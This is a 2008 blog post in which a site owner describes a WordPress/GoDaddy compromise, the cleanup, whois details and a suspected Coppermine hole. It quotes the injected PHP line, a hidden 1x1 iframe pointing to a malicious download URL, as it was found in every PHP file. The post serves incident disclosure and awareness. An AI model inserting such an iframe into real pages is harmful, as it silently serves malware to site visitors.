Ok, ok, I shouldn’t say this too loud, but in the interest of public awareness, I feel it is necessary to share with you what happened to my site(s).
On April 10th, 2008 I noticed something strange on my website. All the pages had a little extra block added to it, also when opening my website, I saw Firefox was opening links to another site. This was odd, at first I didn’t think too much about it, until I realized that this on every page.
I tried to log onto my Wordpress admin console, then I started seeing error message… It was obvious - the code changed, and it wasn’t good.
I logged onto my GoDaddy hosting account via FTP, and downloaded the “file in question”. Looking at it through notepad, I noticed it had an extra line added at the bottom… This was not standard…
<?php echo ‘<iframe src=”http://cdpuvbhfzz.com/dl/adv598.php” width=1 height=1></iframe>’; ?>
This was scary… I cleaned the page, uploaded it again, then Wordpress complained about another file. I soon discovered that every single php file on my hosting account had this line of code added.
This was a scary thought. I also found that every single html page had a similar link added. I still don’t know how these dirty hackers managed to get into my account. I immediately upgraded Wordpress & Podpress to the latest version, deleted all my themes and plugins.
Further investigation (for the technical minded)
The URL encoding isn’t very hard to crack. I determined that the link it’s downloading in the iframe is http://cdpuvbhfzz.com/dl/adv598.php — DO NOT CLICK THIS LINK.
The link downloads again some encoded content down to your PC. I haven’t done the deciphering of it yet, but I will soon.
As for the domain cdpuvbhfzz.com, it’s almost impossible to determine where it came from. It was registered through a Chinese website, named http://www.bizcn.com. I’m still waiting to hear from their support line if they’ll be taking this domain down, as it’s a serious breach of security. Here’s the whois information :-
Domain Name: CDPUVBHFZZ.COM
Registrar: BIZCN.COM, INC.
Whois Server: whois.bizcn.com
Referral URL: http://www.bizcn.com
Name Server: NS1.CHBDVRNFAG.COM
Name Server: NS2.CHBDVRNFAG.COM
Status: clientDeleteProhibited
Status: clientTransferProhibited
Updated Date: 31-mar-2008
Creation Date: 31-mar-2008
Expiration Date: 31-mar-2009
All my pages are back to normal. I’ve had to write a script to clean the 10,000 odd files that live in various places on my hosting package.
It is very interesting… How did these guys get in ?? The only plausable explaination I can come up with is a known vulnerability in Wordpress or one of my plugins… GoDaddy does not give us access to the apache logs, so it’s very difficult to trace back how these !@#$#%^ got in…
So world, heads up… You might be next…. Update Wordpress, update your plugins…
UPDATE
Thanks to James for the comment he posted. I noticed that we both run coppermine from the GoDaddy hosting package, and it’s OLD. I’ve just found this thread on the Coppermine forum that explains the vulnerability. Upgrade your copy of Coppermine ASAP!!
UPDATE - 17 April 2008
Due to *popular* demand, I’m publishing the script I used to clean the mess. The script is a bit flakey, but it works. Run it at your own risk !! Do also note - it is in Perl, and will only work if you have the Perl CGI bits available on your GoDaddy hosting package.